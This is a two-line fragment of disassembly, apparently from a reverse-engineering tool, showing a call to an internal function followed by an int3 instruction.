call fcn.004e1e70
int3